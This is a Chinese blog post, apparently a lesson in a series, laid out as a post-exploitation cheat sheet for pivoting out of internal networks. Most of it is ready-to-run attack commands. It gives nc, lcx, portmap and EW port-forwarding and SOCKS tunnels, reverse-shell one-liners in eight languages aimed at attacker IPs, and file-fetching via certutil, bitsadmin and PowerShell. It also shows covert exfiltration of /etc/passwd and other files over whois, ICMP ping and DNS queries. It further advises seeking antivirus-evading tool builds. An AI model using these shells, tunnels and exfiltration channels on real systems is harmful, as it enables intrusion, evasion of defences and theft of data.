【基础篇】————24、内网跨边界应用

0x01 端口转发

NC端口转发

nc使用方法:

a、反向连接

在公网主机上进行监听:

nc -lvp 4444

在内网主机上执行:

nc -t -e cmd.exe 公网主机ip 4444

上述命令中 -t 参数是指通过telnet模式执行cmd.exe,可省略,成功后即可得到一个内网主机的cmd shell。

b、正向连接

远程主机上执行:

nc -l -p 4444 -t -e cmd.exe

本地主机上执行:

nc -vv 远程主机ip 4444

成功后,本地主机就获得了远程主机的一个cmd shell。
LCX端口转发

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,

Windows版使用方法如下:

lcx有两大功能:

1)端口转发(listen和slave成对使用)

2)端口映射(tran)

1、lcx内网端口转发

a、内网主机上执行:lcx.exe  –slave 公网主机ip  公网主机端口 内网主机ip 内网主机端口,例如:

lcx.exe -slave    公网主机ip   4444     127.0.0.1   3389

意思是把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口

b、公网主机 上执行 Lcx.exe –listen 公网主机端口1  公网主机端口2,例如:

lcx.exe –listen   4444    5555

意思是监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。

此时,RDP 连接,Windows 命令行下输入mstsc,即可打开远程桌面连接:

2、lcx本地端口转发

由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口传到防火墙允许的其他端口,如53端口,在目标主机上执行:

lcx -tran 53 目标主机ip 3389

这时我们可以直接远程桌面连接到到 目标主机IP:53

注:软件可能会被杀软查杀,可自行寻找免杀版本。

Linux版使用方法:

例如:

先在具有公网ip的主机上执行:

./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777

意思是监听来自6666端口的请求,将其转发到7777端口

再在内网主机上执行:

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666

意思就是将内网主机22端口的流量转发到公网主机的6666端口。

然后在Linux系统命令行下执行

ssh 公网主机ip 7777

即可连接内网主机。

nps

nps地址:https://github.com/cnlh/nps

nps是一款轻量级、功能强大的内网穿透代理服务器。支持tcp、udp流量转发,支持内网http代理、内网socks5代理,同时支持snappy压缩、站点保护、加密传输、多路复用、header修改等。支持web图形化管理,集成多用户模式。

代理脚本

Tunna:https://github.com/SECFORCE/Tunna

reDuh:https://github.com/sensepost/reDuh

0x02 代理穿透

EW

1、正向 SOCKS v5 服务器:

./ew -s ssocksd -l 1080

2、反弹 SOCKS v5 服务器:

a) 先在一台具有公网 ip 的主机A上运行以下命令:

$ ./ew -s rcsocks -l 1080 -e 8888 

b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

$ ./ew -s rssocks -d 1.1.1.1 -e 8888 

3、多级级联

$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

4、lcx_tran 的用法

$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

5、lcx_listen、lcx_slave 的用法

$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

6、“三级级联”的本地SOCKS测试用例以供参考

$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777

Termite

使用说明:https://rootkiter.com/Termite/README.txt

代理脚本

reGeorg :https://github.com/sensepost/reGeorg

shell反弹

1、bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

2、perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

3、python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4、php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

5、ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

6、java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

7、nc

#使用-e 
nc -e /bin/sh 223.8.200.234 1234 
#不使用-e
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

8、lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

0x03 文件的传输和下载

1、wput

wput dir_name ftp://linuxpig:123456@host.com/

2、wget

wget http://site.com/1.rar -O 1.rar

3、ariac2(需安装)

aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2

4、powershell

$p = New-Object System.Net.WebClient 
$p.DownloadFile("http://domain/file","C:%homepath%file") 

5、vbs脚本

Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with

执行 :cscript test.vbs

6、Perl

#!/usr/bin/perl 
use LWP::Simple; 
getstore("http://domain/file", "file");

执行:perl test.pl

7、python

#!/usr/bin/python 
import urllib2 
u = urllib2.urlopen('http://domain/file') 
localFile = open('local_file', 'w') 
localFile.write(u.read()) 
localFile.close()

执行:python test.py

8、ruby

#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}

执行:ruby test.rb

9、PHP

<?php
$url  = 'http://www.example.com/file';
$path = '/path/to/file';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
file_put_contents($path, $data);
?>

执行:php test.php

10、NC attacker

cat file | nc -l 1234

target

nc host_ip 1234 > file

11、FTP

ftp 127.0.0.1 username password get file exit

12、TFTP

tftp -i host GET C:%homepath%file location_of_file_on_tftp_server

13、Bitsadmin

bitsadmin /transfer n http://domain/file c:%homepath%file

14、Window 文件共享

net use x: \127.0.0.1\share /user:example.comuserID myPassword

15、SCP 本地到远程

scp file user@host.com:/tmp

远程到本地

scp user@host.com:/tmp file

16、rsync

远程rsync服务器中拷贝文件到本地机

rsync -av root@192.168.78.192::www /databack

本地机器拷贝文件到远程rsync服务器

rsync -av /databack root@192.168.78.192::www

17、certutil.exe

certutil.exe -urlcache -split -f http://site.com/file

18、copy

copy \\IP\ShareName\file.exe file.exe

19、WHOIS 接收端 Host B:

nc -vlnp 1337 | sed "s/ //g" | base64 -d 

发送端 Host A:

whois -h host_ip -p 1337 `cat /etc/passwd | base64`

20、WHOIS + TAR 

First:

ncat -k -l -p 4444 | tee files.b64  #tee to a file so you can make sure you have it

Next

tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bits

Finally

cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv #to get the files out

21、PING

发送端:

xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

接收端ping_receiver.py:

import sys

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")
    sys.exit(0)


def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 8:
            data = pkt[ICMP].load[-4:]
            print(f'{data.decode("utf-8")}', flush=True, end="", sep="")

sniff(iface="eth0", prn=process_packet)
python3 ping_receiver.py

22、DIG

发送端:

xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done

接收端dns_reciver.py:

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")

def process_packet(pkt):
    if pkt.haslayer(DNS):
        domain = pkt[DNS][DNSQR].qname.decode('utf-8')
        root_domain = domain.split('.')[1]
        if root_domain.startswith('gooogle'):
            print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')

sniff(iface="eth0", prn=process_packet)
python3 dns_reciver.py

0x 04 搭建 HTTP server

python2

python -m SimpleHTTPServer 1337

python3

python -m http.server 1337

PHP 5.4+

php -S 0.0.0.0:1337

ruby

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
ruby -run -e httpd . -p 1337

Perl

perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

busybox httpd

busybox httpd -f -p 8000

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值